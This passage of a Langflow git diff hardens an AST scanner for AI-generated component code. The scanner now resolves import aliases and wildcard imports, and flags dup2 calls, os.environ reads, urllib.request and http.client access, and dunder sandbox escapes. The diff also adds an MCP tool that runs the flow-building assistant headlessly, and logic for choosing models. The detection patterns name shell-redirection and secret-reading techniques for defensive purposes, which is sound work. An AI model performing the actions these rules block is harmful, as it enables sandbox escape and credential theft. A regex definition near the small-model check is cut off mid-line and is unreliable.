ast.Attribute): + parts.append(node.attr) + node = node.value + if isinstance(node, ast.Name): + parts.append(node.id) + return list(reversed(parts)) + return None + + +def _build_dangerous_members() -> tuple[dict[str, set[str]], dict[str, set[str]]]: + """Per-module dangerous member names, derived from the call/read tables. + + Used to catch wildcard imports (``from os import *``) where a restricted + member is then referenced as a bare name (``dup2(...)`` / ``environ[...]``). + Kept in sync automatically so a new entry in the tables above is covered. + """ + call_members: dict[str, set[str]] = {} + for mod, method, _ in DANGEROUS_ATTR_CALLS: + call_members.setdefault(mod, set()).add(method) + for mod, names in RESTRICTED_IMPORT_NAMES.items(): + call_members.setdefault(mod, set()).update(names) + + read_members: dict[str, set[str]] = {} + for mod, attr, _ in DANGEROUS_ATTRIBUTE_READS: + read_members.setdefault(mod, set()).add(attr) + + return call_members, read_members + + +_DANGEROUS_CALL_MEMBERS, _DANGEROUS_READ_MEMBERS = _build_dangerous_members() + + +def _collect_imports(tree: ast.AST) -> tuple[dict[str, str], set[str]]: + """Map local binding names to canonical modules; collect ``import *`` modules. + + Resolves alias bypasses (``import os as o`` → ``o`` maps to ``os``) and + wildcard bypasses (``from os import *``) so the checks below see them as + plain ``os.`` access. Order-independent (whole-tree walk). + """ + aliases: dict[str, str] = {} + wildcard_modules: set[str] = set() + for node in ast.walk(tree): + if isinstance(node, ast.Import): + for alias in node.names: + if alias.asname: + aliases[alias.asname] = alias.name.split(".")[0] + else: + top = alias.name.split(".")[0] + aliases[top] = top + elif isinstance(node, ast.ImportFrom) and node.module and any(a.name == "*" for a in node.names): + wildcard_modules.add(node.module.split(".")[0]) + return aliases, wildcard_modules + + @dataclass(frozen=True) class SecurityScanResult: """Result of code security scan.""" @@ -115,13 +217,18 @@ class SecurityScanResult: class _SecurityChecker(ast.NodeVisitor): """AST visitor that detects dangerous patterns in generated code.""" - def __init__(self): + def __init__(self, module_aliases: dict[str, str] | None = None, wildcard_modules: set[str] | None = None): self.violations: list[str] = [] + # local-name -> canonical module (e.g. {"o": "os"}); falls back to the + # name itself so unaliased ``os.system()`` still matches. + self.module_aliases: dict[str, str] = module_aliases or {} + # modules pulled in via ``from import *``. + self.wildcard_modules: set[str] = wildcard_modules or set() def visit_Import(self, node: ast.Import): for alias in node.names: module = alias.name.split(".")[0] - if module in DANGEROUS_IMPORTS: + if module in DANGEROUS_IMPORTS or _is_dangerous_submodule(alias.name): self.violations.append(f"Import of '{alias.name}' is forbidden in components") self.generic_visit(node) @@ -131,25 +238,59 @@ class _SecurityChecker(ast.NodeVisitor): root_module = node.module.split(".")[0] - if root_module in DANGEROUS_IMPORTS: + if root_module in DANGEROUS_IMPORTS or _is_dangerous_submodule(node.module): self.violations.append(f"Import from '{node.module}' is forbidden in components") elif root_module in RESTRICTED_IMPORT_NAMES and node.names: restricted = RESTRICTED_IMPORT_NAMES[root_module] for alias in node.names: if alias.name in restricted: self.violations.append(f"Import of '{root_module}.{alias.name}' is forbidden in components") + elif node.names: + # `from urllib import request` / `from http import client`: the + # imported name *is* a blocked submodule. + for alias in node.names: + if _is_dangerous_submodule(f"{node.module}.{alias.name}"): + self.violations.append(f"Import of '{node.module}.{alias.name}' is forbidden in components") return self.generic_visit(node) def visit_Attribute(self, node: ast.Attribute): - """Check attribute READS like func.__globals__ or os.environ.""" + """Check attribute access: dunder escapes, os.environ, urllib.request, ...""" if node.attr in DANGEROUS_DUNDER_ATTRS: self.violations.append(f"Access to '{node.attr}' is forbidden in components (sandbox escape)") elif isinstance(node.value, ast.Name): + module_name = self.module_aliases.get(node.value.id, node.value.id) for mod, attr, message in DANGEROUS_ATTRIBUTE_READS: - if node.value.id == mod and node.attr == attr: + if module_name == mod and node.attr == attr: self.violations.append(message) break + # Dotted access to a blocked submodule (``urllib.request`` / ``http.client``), + # which a bare ``import urllib`` / ``import http`` makes reachable at runtime + # without an explicit submodule import. Alias-resolved on the root name. + if self._is_dangerous_submodule_access(node): + dotted = self._resolved_dotted(node) + self.violations.append(f"Access to '{dotted}' is forbidden in components") + self.generic_visit(node) + + def _resolved_dotted(self, node: ast.Attribute) -> str | None: + """Dotted name of an attribute chain, with the root name alias-resolved.""" + parts = _dotted_parts(node) + if not parts: + return None + return ".".join([self.module_aliases.get(parts[0], parts[0]), *parts[1:]]) + + def _is_dangerous_submodule_access(self, node: ast.Attribute) -> bool: + # Exact match (not prefix): the ``urllib.request`` node itself is visited + # within ``urllib.request.urlopen``, so matching exactly avoids double-flagging. + return self._resolved_dotted(node) in DANGEROUS_SUBMODULES + + def visit_Name(self, node: ast.Name): + """Catch wildcard-imported reads (``from os import *``; ``environ[...]``).""" + if isinstance(node.ctx, ast.Load): + for mod in self.wildcard_modules: + if node.id in _DANGEROUS_READ_MEMBERS.get(mod, ()): + self.violations.append(f"Use of '{node.id}' (via 'from {mod} import *') is forbidden in components") + break self.generic_visit(node) def visit_Call(self, node: ast.Call): @@ -158,18 +299,32 @@ class _SecurityChecker(ast.NodeVisitor): self.generic_visit(node) def _check_name_call(self, node: ast.Call): - """Check direct function calls like exec(), eval().""" - if isinstance(node.func, ast.Name) and node.func.id in DANGEROUS_CALLS: - self.violations.append(DANGEROUS_CALLS[node.func.id]) + """Check bare-name calls: builtins (exec) and wildcard-imported members. + + e.g. ``exec(...)`` and, after ``from os import *``, a bare ``dup2(...)``. + """ + if not isinstance(node.func, ast.Name): + return + name = node.func.id + if name in DANGEROUS_CALLS: + self.violations.append(DANGEROUS_CALLS[name]) + return + for mod in self.wildcard_modules: + if name in _DANGEROUS_CALL_MEMBERS.get(mod, ()): + self.violations.append(f"Use of '{name}()' (via 'from {mod} import *') is forbidden in components") + return def _check_attribute_call(self, node: ast.Call): - """Check attribute calls like os.system(), subprocess.run().""" + """Check attribute calls like os.system(), subprocess.run(). + + Resolves import aliases so ``import os as o; o.system()`` is caught. + """ if not isinstance(node.func, ast.Attribute): return if not isinstance(node.func.value, ast.Name): return - module_name = node.func.value.id + module_name = self.module_aliases.get(node.func.value.id, node.func.value.id) method_name = node.func.attr for mod, method, message in DANGEROUS_ATTR_CALLS: @@ -195,7 +350,8 @@ def scan_code_security(code: str) -> SecurityScanResult: except SyntaxError: return SecurityScanResult(is_safe=True) - checker = _SecurityChecker() + module_aliases, wildcard_modules = _collect_imports(tree) + checker = _SecurityChecker(module_aliases=module_aliases, wildcard_modules=wildcard_modules) checker.visit(tree) return SecurityScanResult( diff --git a/src/backend/base/langflow/agentic/helpers/error_handling.py b/src/backend/base/langflow/agentic/helpers/error_handling.py index 63beb630fb..ef3fc981c3 100644 --- a/src/backend/base/langflow/agentic/helpers/error_handling.py +++ b/src/backend/base/langflow/agentic/helpers/error_handling.py @@ -24,9 +24,20 @@ _MODEL_UNAVAILABLE_MARKERS: tuple[str, ...] = ( "the model does not exist", "model not available", "no access to model", + # Ollama: not-installed 404 (full suffix so a bad-URL "404 page not found" never matches) + cloud-only 403. + "not found (status code: 404)", + "requires a subscription", ) ERROR_PATTERNS: list[tuple[list[str], str]] = [ + ( + ["recursion limit", "graph_recursion_limit"], + "The agent ran out of steps before finishing. Try again, or break the request into smaller parts.", + ), + ( + ["error parsing tool call"], + "The model produced a malformed tool call. This is usually transient — please try again.", + ), ( ["rate_limit", "rate limit", "429", "consumption_limit"], "Rate limit exceeded. Please wait a moment and try again.", @@ -171,6 +182,11 @@ def is_model_unavailable_error(error_msg: str | None) -> bool: return any(marker in lowered for marker in _MODEL_UNAVAILABLE_MARKERS) +def is_transient_tool_call_error(error_msg: str | None) -> bool: + """True for runtime tool-call parse failures (Ollama 500) — resampling usually fixes them.""" + return bool(error_msg) and "error parsing tool call" in error_msg.lower() + + def format_models_exhausted_message(provider: str, tried_models: Iterable[str]) -> str: """Build the user-facing error when every model on a provider was tried. diff --git a/src/backend/base/langflow/agentic/mcp/server.py b/src/backend/base/langflow/agentic/mcp/server.py index 78205e5bac..fe99b25ada 100644 --- a/src/backend/base/langflow/agentic/mcp/server.py +++ b/src/backend/base/langflow/agentic/mcp/server.py @@ -3,12 +3,14 @@ This module exposes template search and creation functions as MCP tools using FastMCP decorators. """ +import asyncio from typing import Any from uuid import UUID from mcp.server.fastmcp import FastMCP from langflow.agentic.mcp.support import replace_none_and_null_with_empty_str +from langflow.agentic.utils.assistant_runner import run_assistant_and_persist from langflow.agentic.utils.component_search import ( get_all_component_types, get_component_by_name, @@ -37,7 +39,31 @@ from langflow.agentic.utils.template_search import ( get_templates_count, list_templates, ) -from langflow.services.deps import get_settings_service, session_scope +from langflow.services.deps import get_db_service, get_settings_service, session_scope + +_services_initialized = False +_services_init_lock = asyncio.Lock() + + +async def _ensure_services() -> None: + """Boot the service registry for standalone stdio runs (no app lifespan). + + Double-checked under a lock so concurrent MCP calls can't both run + ``initialize_services()`` (its startup/migration side effects are not + safe to run twice). + """ + global _services_initialized # noqa: PLW0603 + if _services_initialized: + return + async with _services_init_lock: + if _services_initialized: + return + get_db_service() + from langflow.services.utils import initialize_services + + await initialize_services() + _services_initialized = True + # Initialize FastMCP server mcp = FastMCP("langflow-agentic") @@ -600,6 +626,61 @@ async def list_flow_component_fields( return await list_component_fields(flow_id_or_name, component_id, user_id) +@mcp.tool() +async def run_assistant( + instruction: str, + user_id: str, + flow_id: str | None = None, + provider: str | None = None, + model_name: str | None = None, + session_id: str | None = None, +) -> dict[str, Any]: + """Ask the Langflow Assistant to build, edit, or explain a flow. + + The assistant runs its full agent loop (component search, flow build, + canvas edits) and any resulting canvas change is persisted to the flow + so it is immediately visible in the Langflow UI. + + Args: + instruction: Natural-language request, e.g. "Build a flow with a + Chat Input connected to a Chat Output". Max 2000 characters. + user_id: UUID string of the user the assistant acts for. + flow_id: Optional UUID of an existing flow to edit. When omitted, + a new flow is created in the user's default folder. + provider: Optional model provider (e.g. "Ollama", "OpenAI"). + Defaults to the first configured provider. + model_name: Optional model on that provider. Defaults to an + available model (for Ollama, an installed one). + session_id: Optional conversation id to keep multi-turn context. + + Returns: + Dictionary containing: + - flow_id: The flow that was created/edited + - link: Relative UI link to open the flow + - result: The assistant's reply text + - flow_changed: Whether the canvas was modified and persisted + - session_id / provider / model_name: The resolved execution context + + Example: + >>> result = await run_assistant( + ... instruction="Build a simple chat flow", + ... user_id="00000000-0000-0000-0000-000000000001", + ... ) + >>> print(result["link"], result["flow_changed"]) + """ + await _ensure_services() + async with session_scope() as session: + return await run_assistant_and_persist( + session=session, + user_id=UUID(user_id), + instruction=instruction, + flow_id=flow_id, + provider=provider, + model_name=model_name, + session_id=session_id, + ) + + # Entry point for running the server if __name__ == "__main__": # Run the FastMCP server diff --git a/src/backend/base/langflow/agentic/services/assistant_service.py b/src/backend/base/langflow/agentic/services/assistant_service.py index 5188ed41d3..dea587f01b 100644 --- a/src/backend/base/langflow/agentic/services/assistant_service.py +++ b/src/backend/base/langflow/agentic/services/assistant_service.py @@ -18,6 +18,7 @@ from lfx.mcp.flow_builder_tools import ( get_working_flow, init_working_flow, reset_working_flow, + set_apply_edits_live, set_propose_existing_edits, ) from lfx.mcp.tool_cache import reset_tool_cache @@ -28,6 +29,7 @@ from langflow.agentic.helpers.error_handling import ( extract_friendly_error, format_models_exhausted_message, is_model_unavailable_error, + is_transient_tool_call_error, ) from langflow.agentic.helpers.input_sanitization import REFUSAL_MESSAGE, sanitize_input from langflow.agentic.helpers.sse import ( @@ -78,7 +80,7 @@ from langflow.agentic.services.flow_types import ( from langflow.agentic.services.flow_verification import FlowVerificationStatus, verify_built_flow from langflow.agentic.services.helpers.intent_classification import _looks_like_run_request, classify_intent from langflow.agentic.services.helpers.intent_context import build_intent_context -from langflow.agentic.services.provider_service import get_provider_model_candidates +from langflow.agentic.services.provider_service import get_provider_model_candidates, is_probably_small_model from langflow.agentic.services.request_framing import decide_progress_step from langflow.agentic.services.user_components import register_user_component_if_valid from langflow.agentic.services.user_components_context import ( @@ -519,6 +521,7 @@ async def execute_flow_with_validation_streaming( model_name: str | None = None, api_key_var: str | None = None, is_disconnected: Callable[[], Coroutine[Any, Any, bool]] | None = None, + apply_edits_immediately: bool = False, ) -> AsyncGenerator[str, None]: """Execute flow with validation, yielding SSE progress and token events. @@ -696,6 +699,15 @@ async def execute_flow_with_validation_streaming( f"{'; '.join(_model_parts)}]\n\n{current_input}" ) + # Headless callers (MCP) have no review UI, so steer the agent away from a + # "proposed/pending approval" narration the user can never act on (#13641). + if apply_edits_immediately: + current_input = ( + "[Headless session: there is NO canvas UI and NO review step. Every field edit you make " + "is applied IMMEDIATELY and live. Do NOT say a change is 'proposed', 'pending approval', or " + "'for review' — report edits as already APPLIED/DONE.]\n\n" + current_input + ) + # Capture the original user prompt BEFORE history/canvas injection so we # can record it verbatim in the buffer at end-of-turn. The wrapped # input is what the LLM sees; the recorded user message is what the @@ -738,6 +750,7 @@ async def execute_flow_with_validation_streaming( and not is_continuation_signal ) ) + set_apply_edits_live(enabled=apply_edits_immediately) current_input = inject_conversation_history(user_id=user_id, session_id=session_id, input_value=current_input) @@ -843,11 +856,9 @@ async def execute_flow_with_validation_streaming( result: dict | None = None cancelled = False execution_error: str | None = None + transient_tool_call_error = False has_flow_updates = False - # Track whether a destructive `set_flow` action was emitted by the - # agent — only that case triggers the frontend's Continue gate. - # Incremental edits (add/remove/connect/configure/edit_field) - # apply live and must not be gated. + # Only a destructive set_flow triggers the frontend Continue gate; incremental edits apply live. saw_set_flow = False # Deterministic build+run state (LLM/language-agnostic): the # agent ran the flow this turn (`flow_ran`) → the built flow @@ -864,6 +875,7 @@ async def execute_flow_with_validation_streaming( result = None cancelled = False execution_error = None + transient_tool_call_error = False has_flow_updates = False saw_set_flow = False saw_run = False @@ -967,7 +979,7 @@ async def execute_flow_with_validation_streaming( # network errors fall through to the existing # friendly-error path unchanged. if is_model_unavailable_error(e.original_error_message) and provider: - candidates = get_provider_model_candidates(provider) + candidates = get_provider_model_candidates(provider, user_id=user_id) next_model = next((m for m in candidates if m not in tried_models), None) if next_model: logger.info( @@ -985,8 +997,8 @@ async def execute_flow_with_validation_streaming( else: execution_error = format_models_exhausted_message(provider, tried_models) else: - # Internal retry loop reads the raw error to pick a friendly message; - # the public HTTP detail stays generic (see FlowExecutionError docstring). + # Raw error picks the friendly message; public HTTP detail stays generic. + transient_tool_call_error = is_transient_tool_call_error(e.original_error_message) execution_error = extract_friendly_error(e.original_error_message) except HTTPException as e: execution_error = extract_friendly_error(str(e.detail)) @@ -1000,8 +1012,16 @@ async def execute_flow_with_validation_streaming( if execution_error is not None: logger.error(f"Flow execution failed (attempt {attempt + 1}): {execution_error}") - # Q&A has no retry semantics — emit error and exit immediately + # Q&A is terminal on error; tool-call parse 500s are transient, so resample. if not is_component_request: + if transient_tool_call_error and attempt < total_attempts - 1: + yield format_progress_event( + "retrying", + attempt + 1, + total_attempts, + message="The model produced a malformed tool call — retrying...", + ) + continue yield format_error_event(execution_error) return @@ -1169,14 +1189,21 @@ async def execute_flow_with_validation_streaming( # Q&A (question) and read-only manage_files are excluded — a # text-only answer is legitimate there. if is_flow_request and not has_flow_updates: - if attempt >= total_attempts - 1: + # Re-prompting a ≤13B open-weights model is predictably futile + # (zero native tool calls under this prompt) — fail fast. + if is_probably_small_model(model_name) or attempt >= total_attempts - 1: logger.warning( "assistant.build.no_action: build request produced no canvas changes after %d attempt(s)", total_attempts, ) - yield format_error_event( - "I couldn't apply that change to the canvas. Please rephrase the request or try again." + no_action_message = ( + f"I couldn't apply that change to the canvas — the selected model ({model_name}) " + "produced no canvas actions. Smaller models often can't drive the canvas tools; " + "try a larger model or rephrase the request." + if model_name + else "I couldn't apply that change to the canvas. Please rephrase the request or try again." ) + yield format_error_event(no_action_message) return yield format_progress_event( "retrying", diff --git a/src/backend/base/langflow/agentic/services/flow_preparation.py b/src/backend/base/langflow/agentic/services/flow_preparation.py index 4fb23d75b9..c0ad3a616c 100644 --- a/src/backend/base/langflow/agentic/services/flow_preparation.py +++ b/src/backend/base/langflow/agentic/services/flow_preparation.py @@ -10,12 +10,8 @@ from lfx.base.models.model_metadata import MODEL_PROVIDER_METADATA, get_provider import lfx from langflow.agentic.helpers.assistant_workspace import resolve_assistant_fs_root -# Relative path embedded in the bundled LangflowAssistant.json flow for the -# Directory component that scans built-in lfx components. It only resolves -# correctly when the process CWD is the monorepo root, which is never the -# case for a packaged install (Langflow Desktop, `pip install langflow`, -# Docker, etc.). inject_lfx_components_path rewrites it to an absolute path -# derived from the installed lfx package at runtime. +# Resolves only from the monorepo root; inject_lfx_components_path rewrites it to +# an absolute path at runtime so packaged installs (Desktop, pip, Docker) work. LFX_COMPONENTS_PATH_SENTINEL = "./src/lfx/src/lfx/components/" logger = logging.getLogger(__name__) @@ -86,17 +82,15 @@ def inject_model_into_flow( raise ValueError(msg) param_mapping = get_provider_param_mapping(provider) - # Use provided api_key_var or default from config api_key_var = api_key_var or provider_config.get("variable_name") metadata = { "api_key_param": param_mapping.get("api_key_param", provider_config.get("api_key_param", "api_key")), "context_length": 128000, "model_class": param_mapping.get("model_class", provider_config.get("model_class", "ChatOpenAI")), - "model_name_param": param_mapping.get("model_name_param", provider_config.get("model_name_param", "model")), + "model_name_param": param_mapping.get("model_param", provider_config.get("model_param", "model")), } - # Add extra params from param mapping (url_param, project_id_param, base_url_param) for extra_param in ("url_param", "project_id_param", "base_url_param"): if extra_param in param_mapping: metadata[extra_param] = param_mapping[extra_param] @@ -113,7 +107,6 @@ def inject_model_into_flow( } ] - # Resolve provider-specific template fields to inject into Agent nodes provider_fields: dict[str, str] = {} pv = provider_vars or {} @@ -129,7 +122,6 @@ def inject_model_into_flow( if pv.get("OLLAMA_BASE_URL"): provider_fields["base_url_ollama"] = pv["OLLAMA_BASE_URL"] - # Inject into all Agent nodes for node in flow_data.get("data", {}).get("nodes", []): node_data = node.get("data", {}) if node_data.get("type") != "Agent": @@ -137,9 +129,7 @@ def inject_model_into_flow( template = node_data.get("node", {}).get("template", {}) if "model" not in template: - # Silent skip here means the run later fails with an - # opaque "No model selected" — leave a diagnostic with - # the node id so the cause is traceable. + # Silent skip surfaces later as an opaque "No model selected"; log the node id. logger.warning( "assistant.inject_model.agent_missing_model_field node_id=%s provider=%s", node.get("id", ""), @@ -155,14 +145,8 @@ def inject_model_into_flow( existing_provider = existing_entry.get("provider") if not overwrite_existing_model and existing_name: - # Preserve the user's/agent's explicit model — NEVER silently swap - # it for our verified model. When it's the SAME provider, REBUILD a - # COMPLETE value carrying the user's model NAME but the full, - # well-formed metadata/icon (the value the agent set via - # configure_component is often a bare ``{provider, name}`` with no - # metadata, which can make the run fail to resolve the model). Also - # top up the credential so the run authenticates. Cross-provider, we - # don't hold that provider's verified key, so leave it untouched. + # Keep the user's explicit model. Same provider: rebuild a complete value (full + # metadata + credential) since the agent's may be a bare {provider,name}; else leave it. if existing_provider == provider: template["model"]["value"] = [{**model_value[0], "name": existing_name}] for field_name, field_value in provider_fields.items(): @@ -171,7 +155,6 @@ def inject_model_into_flow( continue template["model"]["value"] = model_value - # Inject provider-specific fields (API key, URLs, project IDs) for field_name, field_value in provider_fields.items(): if field_name in template: template[field_name]["value"] = field_value @@ -242,10 +225,8 @@ def inject_assistant_fs_root(flow_data: dict) -> dict: return flow_data -# Parsed bundled-flow templates, keyed by path → ((mtime_ns, size), -# parsed dict). The raw template is stable per file; re-reading + -# json.loads on every request (and x4 on validation retries) was -# blocking the event loop. A genuine file change (mtime/size) re-parses. +# Cache parsed templates by path+stat: re-reading + json.loads on every request +# (x4 on validation retries) blocked the event loop; mtime/size change re-parses. _FLOW_TEMPLATE_CACHE: dict[str, tuple[tuple[int, int], dict]] = {} diff --git a/src/backend/base/langflow/agentic/services/provider_service.py b/src/backend/base/langflow/agentic/services/provider_service.py index fcc30b1171..ac58710d3a 100644 --- a/src/backend/base/langflow/agentic/services/provider_service.py +++ b/src/backend/base/langflow/agentic/services/provider_service.py @@ -1,8 +1,11 @@ """Provider configuration service.""" import os +import re from uuid import UUID +from lfx.base.models.model_metadata import CONDITIONAL_LIVE_MODEL_PROVIDERS, LIVE_MODEL_PROVIDERS +from lfx.base.models.model_utils import get_live_models_for_provider from lfx.base.models.unified_models import ( get_model_provider_variable_mapping, get_provider_required_variable_keys, @@ -76,8 +79,90 @@ async def check_api_key( return api_key -def get_default_model(provider: str) -> str | None: - """Get the default model for a provider dynamically from the unified models registry.""" +def _is_cloud_model(name: str) -> bool: + lowered = name.lower() + return lowered.endswith((":cloud", "-cloud")) + + +_SMALL_PARAM_PATTERN = re.compile(r"(? bool: + """True for open-weights models ≤ 13B (by param count or known small-default tag). + + Deliberately narrower than the frontend strength hint: only explicit + size signals count, so hosted "mini"-style models (which drive tools + fine) are never flagged. Verified live 2026-06-12: ≤ 13B models emit + zero native tool calls under the assistant prompt, so retrying them + on a no-action build is predictably futile. + """ + if not model_name: + return False + name = model_name.lower() + if _LARGE_PARAM_PATTERN.search(name): + return False + if name.split(":")[0] in _SMALL_DEFAULT_BASE_NAMES: + return True + return bool(_SMALL_PARAM_PATTERN.search(name)) + + +def list_installed_tool_calling_models(provider: str, user_id: UUID | str | None) -> list[str]: + """Names of the live (installed) tool-calling LLMs on a live provider. + + Local models come first: Ollama ``:cloud`` models 403 without an + ollama.com subscription, so they must never win the default slot when + a locally runnable model exists. + + Returns [] when the provider is catalog-only, no user is available to + resolve credentials, or the live fetch fails — callers then keep the + static catalog behavior. + """ + if not user_id or provider not in {*LIVE_MODEL_PROVIDERS, *CONDITIONAL_LIVE_MODEL_PROVIDERS}: + return [] + try: + live_models = get_live_models_for_provider(user_id, provider, "llm") + except Exception as exc: # noqa: BLE001 — fail-open: any fetch error degrades to catalog behavior + logger.debug(f"Live model fetch failed for provider={provider}: {exc}") + return [] + names = [model["name"] for model in live_models if model.get("name") and model.get("tool_calling", True)] + return sorted(names, key=_is_cloud_model) + + +def get_default_model(provider: str, user_id: UUID | str | None = None) -> str | None: + """Get the default model for a provider. + + For live providers (Ollama, WatsonX, OpenRouter) with a ``user_id``, + the default must be a model that is actually installed/available — + the static catalog default may not exist on the user's server. + """ + catalog_default = None models_by_provider = get_unified_models_detailed( providers=[provider], include_unsupported=False, @@ -87,11 +172,16 @@ def get_default_model(provider: str) -> str | None: for provider_dict in models_by_provider: models = provider_dict.get("models", []) if models: - return models[0].get("model_name") - return None + catalog_default = models[0].get("model_name") + break + + installed = list_installed_tool_calling_models(provider, user_id) + if installed: + return catalog_default if catalog_default in installed else installed[0] + return catalog_default -def get_provider_model_candidates(provider: str) -> list[str]: +def get_provider_model_candidates(provider: str, user_id: UUID | str | None = None) -> list[str]: """Return the ordered model candidates the assistant may try on this provider. The catalog's "default" model isn't guaranteed to be callable for the @@ -106,6 +196,10 @@ def get_provider_model_candidates(provider: str) -> list[str]: if not provider: return [] + installed = list_installed_tool_calling_models(provider, user_id) + if installed: + return installed + models_by_provider = get_unified_models_detailed( providers=[provider], include_unsupported=False, diff --git a/src/backend/base/langflow/agentic/utils/assistant_runner.py b/src/backend/base/langflow/agentic/utils/assistant_runner.py new file mode 100644 index 0000000000..b128f147c4 --- /dev/null +++ b/src/backend/base/langflow/agentic/utils/assistant_runner.py @@ -0,0 +1,229 @@ +"""Headless Langflow Assistant runner for MCP clients. + +External MCP clients have no frontend to apply ``flow_update`` SSE +events, so any canvas change the assistant produces must be persisted +server-side before returning. The runner drives the SAME streaming +pipeline the UI uses — the non-streaming path skips intent +classification and the agent chats instead of building. +""" + +from __future__ import annotations + +import copy +import json +from typing import TYPE_CHECKING, Any +from uuid import UUID + +from fastapi import HTTPException +from lfx.mcp.flow_builder_tools import get_working_flow + +from langflow.agentic.api.router import _resolve_assistant_context +from langflow.agentic.api.schemas import AssistantRequest +from langflow.agentic.services.assistant_service import execute_flow_with_validation_streaming +from langflow.agentic.services.flow_types import LANGFLOW_ASSISTANT_FLOW +from langflow.api.v1.flows import _new_flow, _save_flow_to_fs +from langflow.initial_setup.setup import get_or_create_default_folder +from langflow.services.database.models.flow.model import Flow, FlowCreate +from langflow.services.deps import get_storage_service + +if TYPE_CHECKING: + from sqlmodel.ext.asyncio.session import AsyncSession + +DEFAULT_FLOW_NAME = "Assistant Flow" + + +async def _ensure_flow(session: AsyncSession, user_id: UUID, flow_id: str | None) -> tuple[Flow, bool]: + if flow_id: + try: + flow_uuid = UUID(flow_id) + except ValueError as exc: + raise HTTPException(status_code=422, detail="Invalid flow_id: not a valid UUID.") from exc + flow = await session.get(Flow, flow_uuid) + if flow is None or (flow.user_id is not None and str(flow.user_id) != str(user_id)): + raise HTTPException(status_code=404, detail="Flow not found.") + return flow, False + + folder = await get_or_create_default_folder(session, user_id) + new_flow = FlowCreate( + name=DEFAULT_FLOW_NAME, + description="Created by the Langflow Assistant via MCP", + data={"nodes": [], "edges": []}, + folder_id=folder.id, + user_id=user_id, + ) + storage_service = get_storage_service() + created = await _new_flow(session=session, flow=new_flow, user_id=user_id, storage_service=storage_service) + await session.commit() + # _new_flow returns a FlowRead; re-fetch the ORM row so later edits persist. + db_flow = await session.get(Flow, created.id) + if db_flow is None: + raise HTTPException(status_code=500, detail="Flow creation failed.") + return db_flow, True + + +class _CanvasState: + """Fallback event replay for headless runs when no working-flow snapshot exists. + + Handles ``set_flow`` / ``add_component`` / ``connect``. The authoritative + source is the server-side working flow (it captures configure/remove/ + tool-mode/select-output too); this replay only runs when that snapshot is + unavailable. ``changed`` flips on ANY ``flow_update`` so persistence is + gated on "the agent mutated the canvas", not on the subset replayed here. + """ + + def __init__(self, initial_data: dict[str, Any] | None) -> None: + self.data: dict[str, Any] = copy.deepcopy(initial_data) if initial_data else {} + self.data.setdefault("nodes", []) + self.data.setdefault("edges", []) + self.name: str | None = None + self.changed = False + + def apply(self, event: dict[str, Any]) -> None: + # Any flow_update is a canvas mutation, including actions only the + # authoritative working-flow snapshot captures (configure/remove/etc.). + self.changed = True + action = event.get("action") + if action == "set_flow": + payload = event.get("flow") + if isinstance(payload, dict) and payload.get("data"): + self.data = payload["data"] + self.name = payload.get("name") or self.name + self.changed = True + elif action == "add_component" and isinstance(event.get("node"), dict): + node = event["node"] + self.data["nodes"] = [n for n in self.data["nodes"] if n.get("id") != node.get("id")] + self.data["nodes"].append(node) + self.changed = True + elif action == "connect" and isinstance(event.get("edge"), dict): + edge = event["edge"] + self.data["edges"] = [e for e in self.data["edges"] if e.get("id") != edge.get("id")] + self.data["edges"].append(edge) + self.changed = True + + +def _apply_field_edit(flow_data: dict[str, Any], edit: dict[str, Any]) -> None: + """Write a proposed field value into the working flow, by component id + field. + + Resolves the node by id (index-independent — nodes may have shifted since + the proposal was emitted) and sets its template field value. No-op when the + node or field cannot be resolved (e.g. the node was removed this turn). + """ + component_id = edit.get("component_id") + field = edit.get("field") + if not component_id or not field: + return + for node in flow_data.get("nodes", []): + nid = node.get("data", {}).get("id", node.get("id")) + if nid != component_id: + continue + template = node.get("data", {}).get("node", {}).get("template", {}) + target = template.get(field) + if isinstance(target, dict): + target["value"] = edit.get("new_value") + return + + +async def _consume_stream( + stream, initial_data: dict[str, Any] | None +) -> tuple[_CanvasState, dict[str, Any] | None, str | None, str | None, list[dict[str, Any]]]: + """Drain the SSE stream into (canvas_state, working_snapshot, result_text, error_text, field_edits). + + ``working_snapshot`` is captured at the ``complete`` event, where the + working flow is still alive — the generator's ``finally`` only resets it + after iteration ends. ``field_edits`` are the ``edit_field`` proposals the + working flow never applied; the caller writes them in before persisting. + """ + canvas = _CanvasState(initial_data) + working_snapshot: dict[str, Any] | None = None + result_text: str | None = None + error_text: str | None = None + field_edits: list[dict[str, Any]] = [] + async for chunk in stream: + for line in str(chunk).splitlines(): + if not line.startswith("data: "): + continue + try: + event = json.loads(line[len("data: ") :]) + except json.JSONDecodeError: + continue + event_type = event.get("event") + if event_type == "flow_update": + canvas.apply(event) + if event.get("action") == "edit_field": + field_edits.append(event) + elif event_type == "complete": + data = event.get("data") or {} + result_text = data.get("result") + working = get_working_flow() + if isinstance(working, dict) and working.get("data", {}).get("nodes"): + working_snapshot = copy.deepcopy(working) + elif event_type == "error": + error_text = event.get("message") + return canvas, working_snapshot, result_text, error_text, field_edits + + +async def run_assistant_and_persist( + *, + session: AsyncSession, + user_id: UUID, + instruction: str, + flow_id: str | None = None, + provider: str | None = None, + model_name: str | None = None, + session_id: str | None = None, +) -> dict[str, Any]: + """Run the assistant against a flow and persist any canvas changes. + + Returns a dict with: ``flow_id``, ``link``, ``result`` (assistant + reply text), ``flow_changed``, ``session_id``, ``provider`` and + ``model_name``. + """ + flow, created_new = await _ensure_flow(session, user_id, flow_id) + + request = AssistantRequest( + flow_id=str(flow.id), + input_value=instruction, + provider=provider, + model_name=model_name, + session_id=session_id, + max_retries=None, + ) + ctx = await _resolve_assistant_context(request, user_id, session) + + stream = execute_flow_with_validation_streaming( + flow_filename=LANGFLOW_ASSISTANT_FLOW, + input_value=instruction, + global_variables=ctx.global_vars, + max_retries=ctx.max_retries, + user_id=str(user_id), + session_id=ctx.session_id, + provider=ctx.provider, + model_name=ctx.model_name, + api_key_var=ctx.api_key_name, + apply_edits_immediately=True, + ) + canvas, working_snapshot, result_text, error_text, field_edits = await _consume_stream(stream, flow.data) + + if canvas.changed: + flow_data = working_snapshot["data"] if working_snapshot else canvas.data + # Headless MCP has no UI to apply an edit_field review proposal, so apply + # each to the working flow here or the text edit is dropped (Bug #13641). + for edit in field_edits: + _apply_field_edit(flow_data, edit) + flow.data = flow_data + if created_new and canvas.name: + flow.name = canvas.name + session.add(flow) + await session.commit() + await _save_flow_to_fs(flow, user_id, get_storage_service()) + + return { + "flow_id": str(flow.id), + "link": f"/flow/{flow.id}", + "result": result_text or error_text, + "error": error_text, + "flow_changed": canvas.changed, + "session_id": ctx.session_id, + "provider": ctx.provider, + "model_name": ctx.model_name, + } diff --git 